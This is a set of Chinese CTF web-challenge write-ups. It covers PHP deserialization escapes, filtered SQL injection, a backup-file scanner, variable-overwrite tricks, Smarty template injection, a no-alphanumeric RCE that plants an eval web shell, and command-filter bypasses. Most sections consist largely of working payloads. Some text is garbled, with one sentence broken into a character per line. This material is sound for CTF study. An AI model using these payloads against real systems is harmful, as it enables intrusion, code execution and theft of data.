def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
# hashlib.md5(secert_key + param + action).hexdigest()
# hashlib.md5(secert_key + param + "scan").hexdigest()
@app.route('/De1ta', methods=['GET', 'POST']) # 这个路由是我萌得最终注入点
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/') # 根目录路由,就是显示源代码得地方
def index():
return open("code.txt", "r").read()
def scan(param): # 这是用来扫目录得函数
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param): # !!!这个应该是本题关键点,此处注意顺序先是param后是action
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param): # 这个waf比较没用好像
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
一个flask代码。提示flag在flag.txt
有两个地方可以传参:路由/geneSign和/De1ta
先看第二个因为里面构造了上面的类Task
param传参要绕过waf(),waf()检测参数param开头不能有"gopher"和"file"
然后return json.dumps(task.Exec())
task里面的Exec()方法最后return result,我们要想办法把flag和result关联,然后就相当于return flag。
要想这样就要通过Exec()方法的种种 if 判断
第一个 if (self.checkSign())
[安洵杯 2019]easy_serialize_php
首先代码审计:
1.filter函数就是正则匹配 /php|flag|php5|php4|fl1g/i 替换为空
2.给session初始化,把session序列化了然后调用filter函数
(补充:extract函数:将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了
a
=
123
。
而
且
它
默
认
在
变
量
名
冲
突
的
时
候
进
行
覆
盖
,
这
就
导
致
了
变
量
覆
盖
漏
洞
。
)
3.
最
后
面
有
个
提
示
,
我
们
先
给
f
传
参
为
p
h
p
i
n
f
o
:
(
因
为
‘
a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。) 3.最后面有个提示,我们先给f传参为phpinfo:(因为`
a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。)3.最后面有个提示,我们先给f传参为phpinfo:(因为‘function`没有经过过滤函数,所以phpinfo直接传)
直接搜一些敏感点,fopen、disable_、root等等。第二行看到了独特的文件名。(还好和这些敏感点离得近)
直接访问文件名,访问不出来,看到之前的源代码最后有file_get_contents函数,肯定就是要我们读取这个文件了。
读取是有前提的,$function
我们可以通过 $f
直接赋值。
现在我们就要base64_decode($userinfo[‘img’])=d0g3_f1ag.php
。
那么就要$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==
。
而$userinfo
又是通过$serialize_info
反序列化来的。
$serialize_info
又是通过session
序列化之后再过滤得来的。
session里面的img在这里赋值,我们指定的话会被sha1哈希,到时候就不能被base64解密了。这里就到了一个难点了。
我们看到上面的过滤函数,会把一些长度的字符替换为0
直接看payload分析:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因为有变量覆盖漏洞,所以它可以直接这样被赋值进去。然后session被序列化之后会变成这样:(方头括号我自己加的,方便看的清楚,括号里是我们传的变量值)
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:68:"【a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
然后这串字符串经过过滤函数之后,会变成:
a:3:{s:4:"user";s:24:"";s:8:"function";s:68:"【a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,24后面的6个flag被替换为空了,但是指定的长度还是24,怎么办呢?它会往后吞,不管什么符号,都吞掉24个字符。吞完之后变成了这样。
a:3:{s:4:"user";s:24:"【";s:8:"function";s:68:"a】";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
看,括号里的字符串就变成了user的值,这时候我们自己输入的function参数和img参数,就把真的参数替代掉了。
注意格式,我看别人的WP没有function参数也是可以的,但是必须要凑够3个参数,因为一开始序列化的时候指定了有3个参数 。
get传 f=show_image,
post传:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:7:"H9_dawn";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
SWPUCTF2019 web1
进来首先是个登录页面,注册登录,进入广告界面,不按套路出牌,考的是sql注入的新姿势,利用了无列名注入。
随便试了几个payload,发现order,and,or都被过滤了。由于order被过滤了,没法用order by子句判断目标表的列数了。这里我就逐渐增加字段数,这样慢慢的发现竟然有22个字段,并且第2,3列是显示列
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web1'/**/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
但是information被过滤了,实际上是or被过滤了,导致order,or,information这些字都被过滤了。那怎么查到表名?在网上搜索才知道mysql在5.7版本之后还有一个sys系统表sys.schema_auto_increment_columns,作用和information_schema是相似的。
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns /**/where/**/table_schema=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='
但是试了一下报错,页面说sys.schema_auto_increment_columns这个表不存在。但是根据刚才试列数是页面报的错才知道mysql.innodb_table_stats这个表也可以用,也类似于information_schema
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='
-1'/**/union/**/select/**/1,2,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/&&/**/'1'='1
[极客大挑战 2019]PHP
常见的网站源码备份文件扫描脚本
import requests
url1 = 'http://xxx.com' # url为被扫描地址,后不加‘/’
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(requests.get(url).status_code)
输入就下载到一个压缩包
flag.php里面是一个假flag
打开index.php:
打开class.php得到:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
根据index.php可以知道要使password=100和username=‘admin’,进行序列化:
<?
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo serialize($a);
?>
/index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[BJDCTF2020]Easy MD5
先抓包来看看,结果看到:
PHP中md5函数如果第二个参数设为true,返回的是二进制内容,如果能恰好凑出类似’or的字符串,就可以构成SQL注入。
有两个类似的字符串:
129581926211651571912466741651878684928
md5值为:
\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
ffifdyop
md5值为:
'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
第一个没用,第二个就进入:
这里使用的两个等号,也可以借助弱类型来绕过一下。即找两个加密后是0e开头的字符串即可。
三个等号所以不能用oe开头的了
[BJDCTF2020]The mystery of ip
ip?难道XXF?
[BJDCTF2020]Mark loves cat
dirsearch扫描一下,发现/.git目录,用githack获取一下源码。
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
} //forsearch:
post传参和get传参的参数键名和值
首先我们post:$flag=flag
foreach($_GET as $x => $y){
$$x = $$y;
}//接下来GET:?yds=flag
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
echo "the flag is: ".$flag;
$x为yds,$y为flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
看源码
只要没有flag参数,就会exit($yds),就可以得到flag了。
GET:yds=flag
POST:$flag=flag
查看源码得到FLAG
[ASIS 2019]Unicorn shop
打开题目是一个购买界面,发现三个是个位数价钱,一个是1377,猜测只要购买了第四只独角兽,就能获取flag
我随便购买一个发现:
查看源码发现:
这里指明了重点,所以要考虑utf-8编码的转换安全问题
我们在这个网站搜索大于 thousand 的单个字符https://www.compart.com/en/unicode/
可以看到它代表的数值是10000
它的utf-8编码是0xE1 0x8D 0xBC
我们将0x换成%,得到%E1%8D%BC
在这里插入图片描述
[NPUCTF2020]ReadlezPHP
查看源码发现./time.php?source
访问得源码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
由b(a)可以构造b=assert,a=phpinfo ->assert(phpinfo())
echo serialize($c); #$c来自源码
#O:8:"HelloPhp":2:{s:1:"a";s:11:"Y-m-d h:i:s";s:1:"b";s:4:"date";}
payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
在phpinfo页面中ctrl+f搜索flag即可得到flag
[MRCTF2020]PYWebsite
查看源码发现./flag.php进行访问。
构造xff:127.0.0.1
[NCTF2019]Fake XML cookbook
[BSidesCF 2019]Futurella
查看源码得到flag
[极客大挑战 2019]RCE ME
源码分析: GET获取变量code
传递内容长度不大于40
内容不包含字母和数字
查找php的信息
payload: ?code=(~%8F%97%8F%96%91%99%90)();
disable_functions禁用的系统函数有点多
构造一个shell连上蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[wtf]))';
$d=urlencode(~$c);
echo $d;
?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
连接蚁剑,再用插件
法二:
${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
连接蚁剑
flag里没有flag
应该是要用readflag了
[CISCN2019 华东南赛区]Web11
关键:1.Build With Smarty! 2.IP 3.X-Forwarded-For
抓包添加:X-Forwarded-For:127.0.0.1
X-Forwarded-For:{7+7}
说明确实是smarty,上smarty常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
[FBCTF2019]RCEService
提交json格式
?cmd={"cmd":"ls"}
但没什么用
网上找到的源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
法一:因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过
源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令
cat命令在/bin中保存
所以构造出payload ,%0A是换行符
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
[b01lers2020]Welcome to Earth
进入不一会儿就会进入/die/
抓包看看:
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
[WMCTF2020]Make PHP Great Again 2.0
这里用了require_once只能包含一次
我们这里用PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php